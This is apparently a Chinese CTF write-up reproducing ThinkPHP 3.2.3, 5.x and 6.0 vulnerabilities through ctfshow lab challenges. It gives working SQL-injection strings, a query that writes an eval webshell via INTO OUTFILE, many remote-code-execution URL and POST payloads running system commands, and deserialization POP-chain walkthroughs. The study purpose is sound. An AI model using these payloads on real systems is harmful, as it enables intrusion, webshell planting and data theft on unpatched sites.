基于ctfshow初探TP全系列漏洞
研究复现这些thinkphp漏洞就是为了明白漏洞的成因,锻炼看文档手册和调试代码的能力,主要基于ctfshow靶场上的题进行研究(能找到的最全的靶场)。
前言:如何找到需要的版本源码
composer create-project topthink/think-5.0.5 thinkphp5.0.5 --prefer-dist
下载之后访问index,随便访问一个不存在的路由,看报错说的是几,有时候会自动下成最新版,显示5.0.24,这时候只需要在compsoer.json
里面改为需要的版本,再运行composer update
就行,composer是php的包管理工具,功能和java的maven非常类似
ThinkPHP3.2.3(TP3)
web569:url模式pathinfo
URL模式 · ThinkPHP3.2.3完全开发手册 · 看云 (kancloud.cn)
入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作http://serverName/index.php/模块/控制器/操作
直接对着题目给的模块控制器和操作输入即可
web570:闭包路由利用
闭包路由的概念
简单来说就是闭包路由函数体直接处理,而不用创建控制器。
Common/Conf/config.php
1 | 'ctfshow/:f/:a' =>function($f,$a){ |
直接执行命令即可/index.php/ctfshow/assert/eval($_POST['_'])
post:_=system(cat /f*);
web571:渲染首页利用
这题感觉才是真正开始了thinkphp3.2.3审计,先在网上找到源码(可让我好找),然后复制到www目录下,开启web服务,访问看到笑脸,本地环境配置完成。
top-think/thinkphp: ThinkPHP3.2 ——基于PHP5的简单快速的面向对象的PHP框架 (github.com)
再看看下载到的附件和源码有什么不同,题目说留下了一个后门(话说这ctfshow让别人审计源码可不可以把框架给全。。。),发现index函数部分传了一个$n变量,我们也在本地随便传一个值,看看这个变量传进去之后会发生什么。打个断点,开始快乐调试。
这个变量被插到了show函数的content参数中(代码太长难以展示),跟进show函数:
跟进view对象的display方法:
这个G方法是用来记录时间和内存的,content并没有传进去,直接步出,可以看到content传到了fetch方法,跟进:
1 | public function fetch($templateFile = '', $content = '', $prefix = '') |
可以看到,这里的eval就是最终执行命令的地方,通过调试也知道这个content就是我们传进的变量,只需要C(‘TMPL_ENGINE_TYPE’)是php即可完成执行命令,本地默认的type是think(可以在config改),所以本地没法走这个if,但是ctfshow就走了if,不然也不会构成后门。
综上,传入?n=<?php system('cat /f*')?>
即可。
web572:日志未授权访问
如果开过debug模式就会产生对应的日志,然后web应用没有限制访问的目录,就可以尝试读取日志文件来获得信息,老规矩,先看看本地。
可以看到日志文件的位置和命名规范,由于不知道是什么时候的日志文件,就需要爆破,在21_04_15爆到了内容,看到黑客写的马的密码,那我们也用一下马就行。
/index.php?showctf=<?php system("cat /f*");?>
web573:sql注入
先在本地搭建环境研究研究,首先研究sql注入肯定要先自己弄好数据库,这个thinkphp创建时绑定的数据库是空的,于是创个users表,输点数据。
由于我下的是3.2.5版本的源码(只能找到这个…),但是这个基于where进行sql注入的漏洞在3.2.4修复了,于是对照修复的补丁位置改回去3.2.3版本。
这个修复让我们无法再通过传入一个数组(键为where)来控制where的值(从option到this->option,且不再把option直接传进_parseOptions),从而无法绕过后面的检测,分析完就知道为什么要这么改了。
搭建环境最后一步,index里写上对应的功能(通过id获取的参数查询users表,这是payload1的配置)
payload1:where注入
1 | $data = M('users')->find(I('GET.id')); |
打上断点开始调试,先试试普通的sql注入会发生什么,传入1'
首先这个M方法处理的是users,并不是我们传入的值,是用来建立模型的,不用管,直接步出,I方法用来获取我们通过GET传入的id值,然后传入find方法,跟进find方法。
可以看到经过赋值后此时的where变量是一个array。find函数最关键的部分如下:
parseOptions对表达式进行分析(也就是处理我们的查询语句,options是一个array,里面有where,而where也是array,里面放了id="1'"
),而select就是正式进行查询,跟进parseOptions:
parseOptions前面都在自动获取表名,指定表之类的操作,字段类型验证在后面:
可以看到这个字段类型验证的条件是where是一个array,sql注入做文章的地方就是这里,先看看如何进行字段验证,关键函数是parseType,跟进看看。
简单来说就是根据表字段的类型来将传入的值强转,可以看到我们传入的1'
被intval转成了1(id字段的类型是int),sql注入失效,可以通过将id字段的类型设置成varchar看看会怎么处理字符串,是否存在sql注入。
改了之后可以重新断点跳到这个地方,可以看到是成功跳过了所有的if,回到了parseOptions再回到find函数中,来到find中第二个关键函数select。
select中的关键是buildSelectSql,就是这个函数利用我们传入的options生成了sql查询语句,跟进:
parsesql对我们的options进行了处理,跟进。
看到了一堆函数,用来处理sql语句的不同逻辑
一通跳转到了处理我们传入的值的函数,parseValue,注意看此时传入前的value仍然是1'
。这行代码调用了escapeString来处理我们value,跟进:
很好,这个addslashes直接宣告了常规sql注入的终结,因为会转义单引号。
可以看到我们的value变成了1\
,失去效果。
既然传字符串不行,可以考虑传入一个数组,而联想到刚刚的判断,可以传入?id[where]=1
看看,因为可以直接跳过强转部分,理由稍后阐明(不需要再使得字段是varchar,是int也行)。
可以看到这里和上文最明显的不同就是这个options里的where不再是一个数组array,而是一个字符串。
既然where不再是array,这个parseOptions里的字段类型验证直接失效,更不会到parseType中发生强转,成功绕过第一层,回到find中,到第二个关键函数。
可以看到一大堆函数里的parseWhere处理了where(因为我们现在相当于传入的是where,处理我们传入的就只有parseWhere,而不会像上次一样传入parseValue处理,自然也就绕过了addslashes),并且直接把where字符串内容返回,最后一通跳转返回了sql语句。
这个where后面的值就是我们传入的1,从而可以随意控制值来进行sql注入,相当于没有了任何验证,传入?id[where]=id=-1 union select 1,group_concat(flag4s),3,4 from flags
(后面一整个字符串直接拼到sql语句中)得到这一题的flag。
总结一下
- 传入id值时正常逻辑,
find()->_parseOptions()->_parseTypes()->select()->parseSql()->parseValue()
,其中_parseTypes()
是第一层需要绕过的点,parseValue
是第二层需要绕过的点 - 传入
?id[where]=1
,绕过上述两层,find()->_parseOptions()->select()->parseSql()->parseWhere()
,直接将内容拼接到sql语句中。
修复后
分析下官方是怎么修复的,结合之前那张图可知重要的改动是把options变成了this->options,并且不再直接将options传入parseOptions,this->options初始为空,需要赋值,而如果传数组,就没法赋值where给this->Options,所以相当于到parseOptions中我们根本就没有where(直接传数组相当于啥也没传),自然绕不过第二层,不再可以注入。
需要options是string或者numeric,才能赋值。
可以看到这里处理的options只剩下了limit=>1。
payload2:exp注入
index改一下
1 | $User = D('Users'); |
为什么用GET获取而不用I方法获取,因为I方法内部有过滤,不允许传入参数值以exp开头(后面分析payload就知道为什么要用exp开头了)。直接调用where再调用find主要是为了保证where是我们传入的array。
payload:?username[0]=exp&username[1]==-1 union select 1,2,3
传入payload打上断点开始快乐调试:
先跟进where方法,一句话:把我们传入的这个数组array('username' => $_GET['username'])
传给了$this->options['where']
跟进find方法,会发现this->options里面只有一个limit,和官方修复后的那个一样,不过我们知道进到parseOptions里面会进行合并,那就和之前的一样了。跟进到经典字段验证。
可以看到,这个var变量是一个数组,而is_scalar方法判断一个变量是否是标量(存储单个值的数据类型),这里if判断失败,自然实现了绕过。
直接跳到第二个关键点,select方法,进入buildSelectSql方法,然后跳到parseSql一大堆函数,前面的验证都和之前一样,直接跳到不一样的地方,parseWhere,由于我们现在的where是一个二维数组(应该可以这么说),自然处理方式和之前不同。
可以看到whereStr现在是空的,也就是说parseWhereItem处理的结果就是这个string的值,跟进:
这个exp变量获取的是var[0]的值,也就是我们传入的第一个值,就是exp,可以看到这时候whereStr就是key拼上var[1],也就是查询的username拼上我们传入第二个值。
然后这个语句就毫无过滤的传回去拼到where查询了,实现了sql注入。
总结一下
往where方法传入数组,第一个值为exp,第二个值为=1 union ….,就可以在parseWhere构建whereStr,从而实现sql注入。比如传?username[0]=exp
效果如下:
1 | select * from users where `username` $val[1] limit 1 |
payload3:bind注入
index:
1 | $User = M("Users"); |
这里可以用I方法的原因是I方法并没有不允许bind开头,故3.2.4更新中更新了bind到黑名单。其实这个bind和上面那个exp很像,都是参数绑定导致的问题。
payload:?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&passwd=1
I方法获取完之后是这样的:
where方法和上一个完全一样,没什么好说的,跟进save方法,save先使用facade方法来处理我们的data,跟进facade方法
看到了经典检查和强转,不过我们也不是用data进行注入。然后进入update方法,
跟进parseSet(这里有一个小插曲,关键部分代码3.2.5进行了修改,导致我输payload没成功,于是对照改回来,下面的是3.2.3原来的代码,成功实现报错注入):
1 | protected function parseSet($data) { |
跟进bindParam看看:
从而得到bind的值:0 = 1
,后面就是常规的bind注入和上面的exp注入一样,会产生whereStr。
返回str构成的sql语句:
1 | UPDATE `users` SET `password`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7e,user(),0x7e),1) |
进入最终的excute方法:
重点在最下面那个最终的queryStr生成,简单来说strtr就是把所有的:0都替换成了1(运用了之前那个bind规则,当我们的id第二个值传入的是0时,刚好拼出一个:0,从而实现替换,使得sql报错)
1 | if(!empty($this->bind)){ |
替换完得到最终的语句,成功sql注入
1 | UPDATE `users` SET `password`='1' WHERE `id` = '1' and updatexml(1,concat(0x7e,user(),0x7e),1) |
总结一下
首先第一个id[0]=bind传入是为了在parseWhere中按bind处理,拼接返回whereString,
然后第二个id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)是用来报错注入的语句(因为是save操作,并不会有回显,只能用报错注入),这个0是强制的,因为可以替换的仅仅为:0
,如果不是,最后就不会替换,从而报错(但是没有注入)。
最后第三个passwd的值就是希望:0
替换成的值,由于这里是id,随便输个数字就行。
web574:同sql注入
1 | public function index($id=1){ |
直接让我们给where赋值,还有这种好事
?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23
web575:反序列化漏洞
1 | $user= unserialize(base64_decode(cookie('user'))); |
ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链 (qq.com)
index写个反序列化的操作
1 | public function test(){ |
先找到反序列化的入口点,这里找的是destruct魔术方法,因为一定能够触发反序列化链。全局搜索,找到了Imagick.class里的方法,这里的img可控(只要是成员变量就可控)
1 | namespace Think\Image\Driver; |
全局搜索destroy方法,看看哪个类包含destroy方法,找到了Memcache.class.php
1 | namespace Think\Session\Driver; |
这个sessID不可控,但是handle可控,查找delete方法,这里有个小问题,由于destroy调用的时候没有传参进去,也就是sessID为空调用destroy,在php7会报错,换成php5就行。
找到了Model.class,注意看这几行关键代码,options为空的时候回带,将可控的data[$pk]设置为options,相当于可控options。
这里有一个返回false终止函数的情况,注意要传入where为1=1防止中断,后调用了db的delete,参数可控,db为数据库,也可控,跟进delete到Driver.class:
1 | public function delete($options = array()) |
关键是这三行,就是拼接sql语句并且执行,这个parseTable处理了和没处理一样,这里也看出我们需要控制的是上文所说options的table,跟进execute
跟进initConnect:
可以看到是一个根据可控数据config来连接数据库操作的方法,反序列化链结束。
exp:
1 |
|
此POP链的正常利用过程应该是:
- 通过某处leak出目标的数据库配置(真的会有吗?)
- 触发反序列化
- 触发链中
DELETE
语句的SQL注入
拓宽攻击面,由于可以连接任意数据库,我们可以使目标机远程连接我们的恶意数据库,从而造成任意文件读取,读取之后再连接目标机的数据库。
- 通过某处leak出目标的WEB目录**(e.g. DEBUG页面)**
- 开启恶意MySQL恶意服务端设置读取的文件为目标的数据库配置文件
- 触发反序列化
- 触发链中PDO连接的部分
- 获取到目标的数据库配置
- 使用目标的数据库配置再次出发反序列化
- 触发链中
DELETE
语句的SQL注入
恶意数据库脚本如下:
说实话这题虽然是pop链,但是真的很像java的CC链,一个找一个,全局用法搜索。
这题还有个非预期解,结合之前的show渲染首页命令执行漏洞,随便传个序列化的就行。
1 |
|
web576:comment注入
index:
1 | $id = $_GET['id']; |
和前面的对比一下,发现把前面的where换成了comment,其实整个注入的过程和上面几乎完全一样唯一不同在于buildsql函数里面的一大堆parse函数里面,这次发挥作用的是parseComment,不再是parseWhere。
随便传个id=1进去调试一下:
处理传入数据,拼成sql语句的位置
也就是说我们把/*闭合就可以完成注入。
但是这里用union就会报错,根据报错信息可以确定这个注入需要在limit后面注入
Mysql 注入之 limit 注入 - 简书 (jianshu.com)
此方法适用于5.0.0< MySQL <5.6.6
版本,先看看MySQL5中的SELECT语法:
1 | SELECT |
可以看到limit后面可以跟PROCEDURE和INTO
INTO
这题说要拿shell,所以使用的是INTO
1 | SELECT ... INTO OUTFILE 'file_name' |
于是传入?id=1*/ into outfile "/var/www/html/1.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*
,然后访问1.php输命令即可
PROCEDURE
1 | mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); |
procedure后面跟的analyse里面可以写两个参数,可以采用报错注入其中一个参数,也可以盲注
1 | select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1) |
web577:exp注入
见上文
?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags
web578:变量覆盖漏洞
首先,本地默认的模板是Think,而题目用的是PHP,直接分析别人贴出来的代码算了,就不在本地调试了,毕竟这题也很简单。
1 | public function index($name='',$from='ctfshow'){ |
第一个函数assign就是一个简单的赋值。就是说如果我们传入?name=a&from=b,
那么$this->tVar=array('a'=>'b');
第二个函数display,之前渲染漏洞就利用过,里面有fetch,跟进fetch里面有eval,看看条件,条件是_content
不为空则执行_content
里的内容,传入?name=_content&from=<?php system('cat /f*');?>
即可。
1 | if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板 |
web604-610:RCE
ThinkPHP5 RCE总结
thinkphp5最出名的漏洞就是rce,rce有两个大版本的区别
- ThinkPHP 5.0.0-5.0.24
- ThinkPHP 5.1.0-5.1.30
因为漏洞具体触发点和版本的不同,导致payload分为了很多种,总体来看依然分两大种:
直接访问路由触发,由于未开启强制路由,且Request类在兼容模式下获取的控制器没有进行合法校验导致的rce,任意文件的任意方法调用,怎么找新的链子,找危险方法!
?s=index/\think\view\driver\Think/__call&method=display¶ms[]=<?php system('whoami'); ?>
5.1.x :
1
2
3
4
5?s=index/think\Request/input&filter[]=system&data=pwd //web604
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> //web605,写进去之后直接访问shell.php即可
?s=index/think\Container/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=id5.0.x :
1
2
3
4
5?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami另一种是因为Request类的
method
和__construct
方法造成的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
具体使用payload的时候可以多试几条。
未开启强制路由RCE
先具体分析一下第一种的第一条,使用的版本是ThinkPHP5.1.29
可以在config文件夹下的app.php看到路径处理采取了s(兼容模式)且强制使用路由是关闭的,这个是rce的前提。
传入?s=index/think\Request/input&filter=system&data=whoami
,开始调试
可以看到根本的逻辑就是先get构建app应用,再run,最后send返回结果,rce在run方法中发生,直接跳过get方法进入run方法。
run方法前面也是一些初始化应用的操作,重点在这里,先通过routeCheck方法再通过init方法获得dispatch变量的值,跟进routeCheck:
由于appDebug为开启状态(true),所以这个if直接跳过,看到后面关键的获取dispatch部分
可以看到这里两个参数,一个是我们输入的s后面的路径,另一个must用来表示未开启强制路由模式,跟进check方法:
可以看到这里是把我们的/
换成|
,url变为了index|think\request|input
,后面还有很多处理,但是处理完之后还是不变,最终routeCheck返回的dispatch就是index|think\request|input
,接着进行init方法的处理。
跟进parseUrl方法,看如何解析我们传入的url
一句话解释就是将我们传入的url按照模块/控制器/方法
拆成了route数组,然后返回成最终的dispatch,回到run方法中。
下一个关键在run方法的431行,这个闭包中调用了dispatch的run方法,跟进
可以看到run方法里执行了this的exec,典型的危险函数,跟进到Module.php的exec,这个方法的作用就是实例化了控制器think\request
,并且通过反射机制获取了url中传入的我们需要调用的方法input,且利用param方法获得请求参数,即filter=system&data=dir
,总的来说就是为rce做好了准备。
绑定好参数之后最终调用request.php中的input方法,关键是这里:
跟进filterValue,发现里面直接call_user_func了,func是filter,data是参数,实现rce。
总结
整体思路:由于未强制开启路由且是兼容模式,我们传入的参数会被成功解析并调用,相当于按模块/控制器/方法名
调用了input,再传入filter作为方法名,data作为参数实现rce。
Method任意方法调用RCE
注:下文使用版本为5.0.22
开启debug模式
分析之前先看看Request类里面危险的方法,首先是这个construct方法,在控制options的情况下就可以实现对类中变量的覆盖。
然后是这个method方法,可以实现任意request类中方法的调用,其中这个var_method
可以通过POST传入_method
来改变。于是自然想到可以传入_method=construct
来进行变量覆盖。
最后是这个filterValue方法,可以实现任意方法的调用,只要我们可以控制value和filter的值
payload:POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami
打上断点,分析一遍流程,看看究竟是怎么调用的。
跳转start.php,跟进
可以看到和上一个非常像,都是run执行应用里面发生rce,跳到run方法
一样是routeCheck方法,然后routeCheck里面关键的是Check,直接跳到Check:
check方法的关键在这里,调用了request变量的method方法,看监视可知$request=think\Request
,所以调用的就是request类里面的那个method方法,跟进:
可以看到,由于我们是无参调用,所以这个method变量的值是false,从而进入到我们的任意request类方法调用环节,传入的是construct,跳到construct:
进行变量覆盖,结合我们的payload中可知这次覆盖了两个变量,把filter变量覆盖成了system,把server变量覆盖成了REQUEST_METHOD=whoami
,变量覆盖完成,只需要调用即可,回到run方法中:
这是第二个关键点,由于我们的debug模式是true,所以进入到if语句,这里关键的地方就是调用了think\Request
的param()
方法,跟进:
可以看到这里再一次调用了request类的method方法,和上文不同的是传入的参数是true
直接调用server方法,传入的字符串是REQUEST_METHOD,跟进server:
可以看到,由于我们先前进行了变量覆盖,这里的server不是空的,就可以绕过这个替换,维持原来的值,看到后面调用了input方法,传入的参数是之前覆盖了的server和REQUEST_METHOD这个字符串
第一处关键在这里,这里的意思就是将server[REQUEST_METHOD]
也就是whoami传给了data。
第二处关键在这里,filterValue传进去的data就是我们的rce命令,也就是whoami,而filter就是我们之前变量覆盖后的system,最终在filterValue中的call_user_func完成命令执行,这个上文说了。
总结
payload:POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami
通过控制_method
使得调用_construct
方法,通过传入filter=system&server[REQUEST_METHOD]=whoami
来实现变量覆盖,最后通过debug模式开启,调用param()
方法来最终完成RCE。
未开启debug模式
结合上文的总结,未开启debug模式下,自然无法再利用param()
方法,但是变量该覆盖的还是可以覆盖。
首先做下准备工作,先把config.php里面的debug改为false,再装多一个captcha拓展包(如果用下面的payload打不通就是缺了这个拓展),cmd输入composer require topthink/think-captcha=1.*
即可。
payload:GET:?s=captcha POST:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
直接跳到无法利用的param方法位置,前面的覆盖都是一样的:
跟进exec函数,发现对$dispatch[‘type’]进行了switch,当type是method的时候就可以调用param,后面的过程和开了debug是完全一样的,都是通过param进行rce:
那我们需要考虑的问题就是怎么让$dispatch[‘type’]=method
在thinkphp5完整版中官网揉进去了一个验证码的路由,可以通过这个路由来使得$dispatch[‘type’] 等于 method ,从而完成rce漏洞。
具体操作就是直接通过路由访问GET:?s=captcha
之前的那种方法进入method
方法后,后面的代码就不用管了,但是这种方法下面的代码仍需要进行,故需要把请求方法设置成get才能访问路由,又因为method()
方法的返回值是return $this->method;
,所以__construct()
方法里面把$this->method
覆盖成get就可以,也就是说我们post传的参要多一个method=get。
总结
未开启debug且有captcha的时候只需要多加两步即可正常打
感谢两位大佬的文章提供的思路
Thinkphp5 RCE总结 - Luminous~ - 博客园 (cnblogs.com)
分析较为精简,但是有自行测试的各版本可行payload
thinkphp5 RCE漏洞复现_thinkphp rce_bfengj的博客-CSDN博客
分析非常详细!
具体web604到610每一题所使用的payload可以参考这篇文章,这里不再一一列举
ctfshow–thinkphp专题 | 会下雪的晴天 (yq1ng.github.io)
web611-622:反序列化漏洞
ThinkPHP5.1 反序列化总结
影响版本:5.1.37-5.1.41
先在index里面加一个反序列化的入口:
由于这个反序列化链实在是太长了,而且需要逆着分析,向上找调用,没法进行调试(调试是顺着分析),所以分成两大部分来分析,第一部分跳跃的类有点多,涉及到了php的多继承和抽象类,第二部分主要集中在Request类中不同方法的互相调用,而连接两个部分的关键在于访问不存在的方法时自动调用的__call
方法。
首先是第一部分,反序列化的入口点(根据常识,往往是__destruct
魔术方法,因为类总会被销毁,而这个魔术方法就会被自动调用,从而开启pop链),在Windows类的__destruct
方法:
跟进close看看,就是一个关闭文件的操作,无法利用,关键在removeFiles,跟进:
可以看到这里的filename我们可以控制,存在任意文件删除漏洞(热知识:只要是类的成员变量,反序列化的时候就可以控制),任意文件删除不是重点,我们的重点是要RCE。看到这个file_exists函数,这个函数通过路径来判断文件是否存在,也就是说传入的参数需要是一个字符串,如果我们控制filename是一个类,就会自动调用该类的__toString
方法,于是我们需要寻找一个有危险方法的__toString
。看到Conversion.php的__toString
方法,注意这里是第一次跳转,从Windows.php到Conversion.php
跟进toJson方法:
可以看到这里调用了toArray方法,跟进:
由于toArray实在是太长了,这里只截出关键的部分:
最关键的一行代码就是$relation->visible($name)
,这意味这如果我们可以控制relation和name,就可以调用relation这个类的visible方法,且参数由我们控制,或者可以调用relation这个类的__call
方法(该类没有visible时就可以自动调用),且参数由我们控制,而之前对tp5RCE中的分析我们也能看出,这个__call
很危险,很有可能里面就有call_user_func。
那我们就看看该如何控制relation和name,首先看relation如何获取:先是调用了getRelation方法,注意了,这里我们要的是最终走到192行,故这个if必须满足,也就是说getRelation必须返回空,跟进getRelation,看是否可以控制其返回空(这里有个点需要注意一下,这个getRelation并不在Conversion.php中,而是在RelationShip.php中,因为这两都是trait类,这个this指的是进行了多继承的子类(至少同时继承了Conversion和RelationShip),故可以调用在RelationShip.php中的getRelation方法,这是第二次跳转)
可以看到这里name默认为空,返回了relation,而relation我们还没有进行获取,所以返回的就是空,返回空满足后,回到toArray中,接下来在getAttr方法中真正获取relation(getAttr方法在Attribute类中,这是第三次跳转)
跟进getData方法:
可以看到我们可以控制data,只需要再控制name即可返回我们构造的值,往回看,传入getData的name就是传入getAttr的参数name,也就是toArray中的key,而key可以通过我们传入的append控制,至此,我们成功控制了relation,而$relation->visible($name)
的参数name也是通过我们传入的append控制。综上所述只需要控制data和append即可(data[key]用来控制relation,append[key]用来控制name)。接下来需要找到一个同时继承了这三个类的子类(Conversion,RelationShip,Attribute),找到了Model.php里的Model类:
但是这里有个问题,Model是一个抽象类,不能直接实例化,我们需要找到具体实现他的一个子类,找到了Pivot类。
至此,第一阶段结束。
进行第二阶段的准备工作,全局搜索visible,发现没有一个能用的(内不含危险方法),只能找__call
,想起了我们的老朋友Request.php,接下来正式进入第二阶段:
可以看到这里有令人安心的call_user_func_array,而且hook可以控制,但是很遗憾,在此之前进行了array_unshift,简单来说就是把this添加到了参数的第一位,如此一来,我们不再能够通过call_user_func_array来直接调用系统命令(因为系统命令参数里面不能加this),转换思路,将call_user_func_array当成一个能够调用Request类内其他方法的跳板(因为加了this)。
想想之前的tp5RCE,也许我们这次也可以通过覆盖filter来进行RCE,找到filterValue方法:
我们要想办法利用的就是filterValue里面的call_user_func来最终执行命令,这需要我们控制filter和value,而tp5RCE告诉我们,filter和value都可以在input方法里面控制:
可以看到这个array_walk_recursive,可以将filter和data传入并调用filterValue,而这个filter是通过getFilter获得的,相当于是获得了this->filter,可以自行控制,但是data目前还不可控,虽然第二个if里面调用了getData,但是:
于是我们要直接控制data,且使得name就是空,就可以跳过这个if,保留我们的data值,往上找找谁调用了input,是否直接传入了可控的参数,找到了param方法:
可以看到这里终于是可以控制的this->param,但是需要注意到第一个if里面还对this->param进行了加工,$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
,虽然我们可以完全不用管这个,直接控制param,但是基于动态命令执行的宗旨,我们可以不控制param,转而控制get参数(url传就行),于是data已经被控制,接下来只需要控制name为空即可。
param()方法中的name还是不可控。虽然param()方法的默认name是空字符串,但是别忘了我们需要使用__call里面的call_user_func_array来当跳板调用它,第一个参数是this,所以这里name还是不可控,继续往上寻找调用了param的方法看是否可控,找到了isAjax函数:
可以看到这里调用param的第一个参数传入的是$this->config['var_ajax']
,我们只需要控制它为空即可成功控制name为空。好了,通过call_user_func_array当跳板调用isAjax,pop链就完成了,只需要再控制一下this的参数,即可实现RCE,皆大欢喜,开始写脚本构造序列化内容:
1 |
|
可以看到成功进行了RCE。
话说这条链真的是有点太长了,复现都挺麻烦了,真想知道是怎么挖出来的
参考链接
Thinkphp 反序列化利用链深入分析 (seebug.org)
Thinkphp5.1 反序列化漏洞复现_thinkphp5.1.41漏洞_bfengj的博客-CSDN博客
具体每一题payload有什么样的变化也可以参考之前提到的那篇文章:
ctfshow–thinkphp专题 | 会下雪的晴天 (yq1ng.github.io)
web611-622:反序列化漏洞
ThinkPHP6.0 反序列化分析
漏洞影响版本:6.0.0-6.0.3,本次分析中使用的版本为6.0.3
搭建环境就不多说了,composer改版本,index加一个反序列化操作,直接从反序列化链入口开始看。
这条链同样分成上下两部分进行分析
入口部分
前半段的任务在于控制参数使得从__destruct
方法到__toString
方法,因为后半段和tp5反序列化toString后半段很类似。
我们都知道,反序列化入口一般是__destruct
方法,这次是位于/vendor/topthink/think-orm/src/Model.php
的__destruct
方法:
这里得到第一个需要控制的参数lazySave=true,跟进save方法:
我们的目标是进入updateData方法,就需要绕过前面的if,首先跟进isEmpty方法:
得到第二个需要控制的参数data,不能为空,则isEmpty返回false,继续看trigger方法(trigger方法在ModelEvent.php中):
得到第三个需要控制的参数,withEvent=false,就能让trigger返回true,从而false===trigger返回false,绕过save里面的if,来到updateData方法:
上一步已经成功控制trigger返回true了,这个if不用管,而checkData没定义也不用管,直接看到获取data的方法getChangedData,跟进,看如何获取data(这个方法在Attribute.php中,可通过用法查询快速跳转):
这步操作可能有点复杂,但是其实后面完全都不用看,只需要知道如果force是true的话,data就赋值为this->data,然后返回,相当于updateData里的data我们也可以控制了,得到第四个需要控制的参数,force=true,回到updateData中,由于前面的分析中this->data不能为空,自然下面这个if直接跳过不用看,
跟进看看checkAllowFields:
可以看到这里出现了第五个需要控制的参数this->field为空和第六个需要控制的参数this->schema为空(可以看到Model类中并没有这两个参数,这两在Attribute类中,且默认就是空,所以其实不用管),看到了后面的.
操作符很开心,这里就是__toString
的高发点,但是先别急,先看看db方法:
没想到这个db更是抢先一步使用.
操作符,我们只需要控制第八个参数:this->name为我们想要触发__toString
的类就行。另外,Model类是一个抽象类,不能直接实例化,需要找到一个继承了Model的类,找到了Pivot类(tp5里面也是它):
至此,第一部分完成,第一部分的exp:
1 |
|
命令执行部分
后半部分和tp5的反序列化非常像,都是Conversion类里面的__toString
直接跳到toArray方法,这里截出关键代码:
对比tp5的代码不难发现,不同的地方在于对val变量进行了一个判断,改了val之后无法再达到visible方法,自然也没法调用__call
方法,故之前的链子已无法利用。
这里的关键在于getAttr方法,触发的条件是在visible里面有一个键和data的一个键一样,跟进getAttr:
跟进getData看如何获取value:
回溯上两步可以看出这里的name变量就是最开始传入的key,所以不为空,进入getRealFieldName:
默认情况下跳过if,直接返回了name,回到getData中,第一个判断成立,返回了data中key键的值,返回getAttr方法中,现在来到了getValue方法,可以看到传入了键和值,关键代码如下:
这里可以看到我们第二阶段需要控制的变量不仅有data,还有withAttr,第二个断点就是最终执行命令的地方,可以看到从withAttr中获取了key对应的值,并将其当方法调用,相当于call_user_func,并且参数为value,就是data中相同的key对应的值,前面的if只需要这个相同的key不是数组就可以绕过。
总结一下第二阶段要构造的是data和withAttr,他们有相同的键,对应的值一个是参数一个是方法:
1 | $this->withAttr = ["key" => "system"]; |
现在就可以把两个阶段连在一起写总的exp,可以发现第二阶段其实利用的类依然是继承了Model的Pivot,直接把第一阶段的复用即可:
1 |
|
tp6的反序列化真是无穷无尽,现在暂时分析这一个,其他链子的思路都是类似的,进一步研究可以参考下面这些文章:
Thinkphp6.0.9反序列化复现及整合 - 先知社区 (aliyun.com)
Thinkphp v6.0.13反序列化(CVE-2022-38352)分析 - 先知社区 (aliyun.com)
好了,tp漏洞的复现暂时告一段落了,复现到这里PHP代码审计能力也有了提高,我也该上学了(笑),接下来想去研究一下struts2和weblogic这些框架的漏洞,转战java。
基于ctfshow初探TP全系列漏洞